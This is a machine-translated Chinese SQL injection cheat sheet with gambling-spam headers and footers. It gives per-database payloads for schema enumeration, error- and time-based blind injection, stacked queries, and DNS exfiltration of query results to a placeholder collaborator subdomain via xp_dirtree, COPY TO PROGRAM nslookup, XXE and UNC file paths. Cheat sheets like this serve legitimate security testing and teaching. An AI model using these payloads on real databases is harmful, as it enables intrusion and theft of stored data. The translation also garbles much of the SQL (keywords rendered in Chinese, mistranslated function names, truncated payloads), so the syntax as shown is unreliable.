1. beplay体育能用吗网络安全学院
  2. SQL注入
  3. 备忘单

SQL注入备忘单

这个SQL注入备忘单包含有用的语法示例,您可以用这些语法执行各种任务,这些任务通常在执行SQL注入攻击时会出现。

字符串串联

您可以将多个字符串连接在一起以制作一个字符串。

Oracle 'foo'||'bar'
微软 'foo'+'bar'
Postgresql 'foo'||'bar'
mysql 'foo''bar'[注意两个字符串之间的空间]
concat('foo','bar')

基因

您可以从指定长度的指定偏移量中提取一部分字符串。请注意,偏移索引为1个。以下每个表达式将返回字符串ba

Oracle substr('Foobar',4,2)
微软 substring('Foobar',4,2)
Postgresql substring('Foobar',4,2)
mysql substring('Foobar',4,2)

注释

您可以使用注释来截断查询并删除输入后的原始查询部分。

Oracle - 评论
微软 - 评论
/*评论*/
Postgresql - 评论
/*评论*/
mysql #评论
- 评论[注意双重破折号后的空间]
/*评论*/

数据库版本

您可以查询数据库以确定其类型和版本。在制定更复杂的攻击时,此信息很有用。

Oracle 从v $版本中选择横幅
从V $实例中选择版本
微软 选择@@版本
Postgresql 选择版本()
mysql 选择@@版本

数据库内容

您可以列出数据库中存在的表,以及这些表所包含的列。

Oracle 从all_tables中选择 *
选择 *来自all_tab_columns where table_name ='table-name here'
微软 选择 *来自信息_schema.tables
选择 *来自信息_schema.columns where table_name ='table-name-here'
Postgresql 选择 *来自信息_schema.tables
选择 *来自信息_schema.columns where table_name ='table-name-here'
mysql 选择 *来自信息_schema.tables
选择 *来自信息_schema.columns where table_name ='table-name-here'

条件错误

您可以测试单个布尔条件并触发数据库错误,如果条件为真。

Oracle 选择何时(您的条件部门),然后to_char(1/0)else null dual dual结束
微软 选择何时(您的条件部门)然后1/0 else Null End
Postgresql 选择何时(您的条件部门),然后施放(1/0作为文本)else null end
mysql 选择if(您的条件 - here,(从信息_schema.tables中选择table_name),'a')

批处理(或堆叠)查询

您可以使用批处理查询连续执行多个查询。请注意,尽管执行了后续查询,但结果未返回应用程序。因此,该技术主要用于盲目漏洞,您可以使用第二个查询来触发DNS查找,条件错误或时间延迟。

Oracle 不支持批处理查询。
微软 查询-1-Here;查询-2-HRE
Postgresql 查询-1-Here;查询-2-HRE
mysql 查询-1-Here;查询-2-HRE

笔记

使用MySQL,批次查询通常不能用于SQL注入。但是,如果目标应用程序使用某些PHP或Python API与MySQL数据库进行通信,则有时可能有可能。

时间延迟

处理查询时,您可能会导致数据库中的时间延迟。以下将导致无条件的时间延迟10秒。

Oracle dbms_pipe.receive_message(('a'),10)
微软 等待延迟'0:0:10'
Postgresql 选择pg_sleep(10)
mysql 选择睡眠(10)

有条件的时间延迟

您可以测试单个布尔条件,并在条件为真时触发时间延迟。

Oracle 选择当(您的条件部门)然后'a'a'|| dbms_pipe.receive_message(('a'),10)else null dual的'
微软 if(您的条件)等待延迟'0:0:10'
Postgresql 选择何时(您的条件)然后pg_sleep(10)else pg_sleep(0)结束
mysql 选择是否(您的条件,请睡眠(10),'a')

DNS查找

您可以使数据库对外部域执行DNS查找。为此,您需要使用Burp合作者客户端为了生成您将在攻击中使用的独特的Burp合作者子域,然后对合作者服务器进行轮询以确认发生DNS查找。

Oracle 以下技术利用XML外部实体(xxe)触发DNS查找的脆弱性。漏洞已经修补,但存在许多未拨动的Oracle安装:
选择ExtractValue(XMLType('<?xml版本=“ 1.0” encoding =“ utf-8”?> <!doctype root [<!entity%远程系统“ http://your-subdomain-here.burpcollaborator.net/net/”>%远程;]>'),'/l')

以下技术适用于完全修补的Oracle安装,但需要提高特权:
选择utl_inaddr.get_host_address('your-subdomain-here.burpcollaborator.net')
微软 exec master..xp_dirtree'// your-subdomain-here.burpcollaborator.net/a'
Postgresql 复制(选择'')以编程'nslookup your-subdomain-here.burpcollaborator.net'
mysql 以下技术仅在Windows上工作:
load_file('\\\\ your-subdomain-here.burpcollaborator.net \\ a')
选择...进入offile'\\\\ your-subdomain-here.burpcollaborator.net \ a''

DNS查找带有数据剥落的查找

您可以使数据库执行DNS查找到包含注射查询结果的外部域。为此,您需要使用Burp合作者客户端要生成您将在攻击中使用的独特的BURP协作子域,然后对合作服务器进行轮询以检索任何DNS交互的详细信息,包括删除数据。

Oracle 选择ExtractValue(XmlType('<?xml版本=“ 1.0” encoding =“ utf-8”?> <!doctype root [<!entity%远程系统“ http://'||(选择your-query-query-here)||'。
微软 声明@p varchar(1024); set @p =(选择your-query-here); exec('master..xp_dirtree” //'+@p+'.your-subdomain-here.burpcollaborator.net/a'''')
Postgresql 创建或替换函数f()返回void作为$$
声明C文本;
声明P文本;
开始
选择p(选择您的Query-Here);
c:='copy(select'''')to编程'nslookup'|| p ||'。your-subdomain-here.burpcollaborator.net'''';
执行c;
结尾;
$$语言PLPGSQL安全定义器;
选择f();
mysql 以下技术仅在Windows上起作用:
选择您的Query-Here在Outfile'\\\\ your-subdomain-here.burpcollaborator.net \ a'''

每日SWIG关于SQL注入的故事beplay2018官网